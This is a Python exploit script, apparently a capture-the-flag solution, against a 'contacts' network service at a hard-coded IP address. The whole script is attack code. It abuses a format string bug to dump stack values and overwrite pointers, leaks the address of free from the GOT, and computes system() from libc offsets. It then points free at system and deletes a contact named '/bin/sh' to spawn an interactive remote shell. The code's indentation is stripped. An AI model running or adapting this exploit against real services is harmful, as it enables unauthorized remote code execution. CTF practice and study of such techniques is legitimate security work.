from zio import *
from time import *
import windowhan
import re
fsb_value = []
def fsbDump(sock,handler,count,spNum):
recv_data = ""
for index in range(1,count+1):
recv_data = handler(sock,index)
if recv_data.find('(nil)')>-1:
fsb_value.append("0x00000000")
else:
fsb_value.append("{0:#0{1}x}".format(int(re.findall("0[xX][0-9a-fA-F]+",recv_data)[0],16),10))
output = ""
string_output = ""
for i in range(0,len(fsb_value),spNum):
output = "[%%%s$p] " % str(i+1)
string_output = ""
for j in range(i,i+spNum):
try:
output += fsb_value[j] + " "
except:
print fsb_value
for k in range(0,len(fsb_value[j].replace("0x","")),2):
if int(fsb_value[j].replace("0x","")[k:k+2],16)>0x20 and int(fsb_value[j].replace("0x","")[k:k+2],16)<0x7f:
string_output += chr(int(fsb_value[j].replace("0x","")[k:k+2],16)) + "."
else:
string_output += ".."
print output + " | " + string_output
return fsb_value
def do_dump(sock,index):
recv_data = ""
sock.write('3' + '\n')
sock.write('aaaa' + '\n')
sock.write('2' + '\n')
sock.write('1000' + '\n')
sock.read_until("Description:")
sock.write('%' + str(index) + '$p ' + '\n')
sock.read_until(">>>")
sock.write('4' + '\n')
recv_data = sock.read_until("Menu:")
return recv_data
def create_contacts(sock,name,phone,descLen,desc):
sock.write("1" + "\n")
sock.read_until("Name:")
sock.write(name + "\n")
sock.read_until("Phone No:")
sock.write(phone + "\n")
sock.read_until("of description:")
sock.write(descLen + "\n")
sock.read_until("Enter description:")
sock.write(desc + "\n")
sock.read_until(">>>")
def remove_contacts(sock,name):
sock.write("2" + "\n")
sock.read_until("remove?")
sock.write(name + "\n")
sock.read_until(">>>")
def edit_desc_contacts(sock,name,newDesc):
sock.write("3" + "\n")
sock.read_until("change?")
sock.write(name + "\n")
sock.read_until(">>>")
sock.write("2" + "\n")
sock.read_until("Length of description:")
sock.write("3000" + "\n")
sock.read_until("Description:")
sock.write(newDesc + "\n")
sock.read_until(">>>")
def display_contacts(sock):
sock.write("4" + "\n")
recv_data = ""
recv_data = sock.read_until(">>>")
return recv_data.split("Description:")[1].split("Menu:")[0]
def exit_contacts(sock):
sock.write("5" + "\n")
s = zio(('54.208.16.165',2555))
create_contacts(s,'aaaa','123','1243','123')
# overwrite test
"""
s.write('3' + '\n')
s.write('aaaa' + '\n')
s.write('2' + '\n')
s.write('1313' + '\n')
s.read_until('Description:')
s.write('%24929c%6$hn' + '\n')
s.read_until(">>>")
s.write('4' + '\n')
s.read_until(">>>")
"""
dump_data = fsbDump(s,do_dump,10,5)
stack_base = int(dump_data[5],16)&0xffff0000
target_pointer_base1 = (int(dump_data[5],16)&0xffff) + 136
target_pointer_base2 = (int(dump_data[5],16)&0xffff) + 120
# GOT Overwrite
# First Contact
edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'aaaa','%45076c%18$hn')
display_contacts(s)
edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1+2) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'aaaa','%2052c%18$hn')
display_contacts(s)
remove_contacts(s,'aaaa')
# Second Contact
create_contacts(s,'bbbb','123','1231','%' + str(target_pointer_base2) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'bbbb','%45078c%18$hn')
display_contacts(s)
edit_desc_contacts(s,'bbbb','%' + str(target_pointer_base2+2) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'bbbb','%2052c%18$hn')
display_contacts(s)
remove_contacts(s,'bbbb')
# leak free@got
create_contacts(s,'tttt','123','1231','%52$p')
display_contacts(s)
edit_desc_contacts(s,'tttt','%52$s')
leak_data = display_contacts(s)
windowhan.dump(leak_data)
free_got = leak_data[1:5]
print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')
remove_contacts(s,'tttt')
offset_system = 0x0003fcd0
offset_dup2 = 0x000d9dd0
offset_read = 0x000d9490
offset_write = 0x000d9510
offset_binsh = 0x15da84
offset_free = 0x000760c0
offset = offset_free - offset_system
real_system = int("0x%s" % free_got[::-1].encode('hex'),16) - offset
print "[+] system address : %s" % hex(real_system)
print '[+] %' + str((real_system&0xffff0000)/0x10000) + 'c%48$hn'
print '[+] %' + str(real_system&0xffff) + 'c%52$hn'
create_contacts(s,'ffff','123','1243','%' + str((real_system&0xffff0000)/0x10000) + 'c%48$hn')
create_contacts(s,'gggg','123','1233','%' + str(real_system&0xffff) + 'c%52$hn')
display_contacts(s)
print "[+] system address : %s" % hex(real_system)
print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')
create_contacts(s,'/bin/sh','123','1231','/bin/sh')
s.write('2' + '\n')
s.read_until("remove?")
s.write('/bin/sh' + '\n')
s.interact()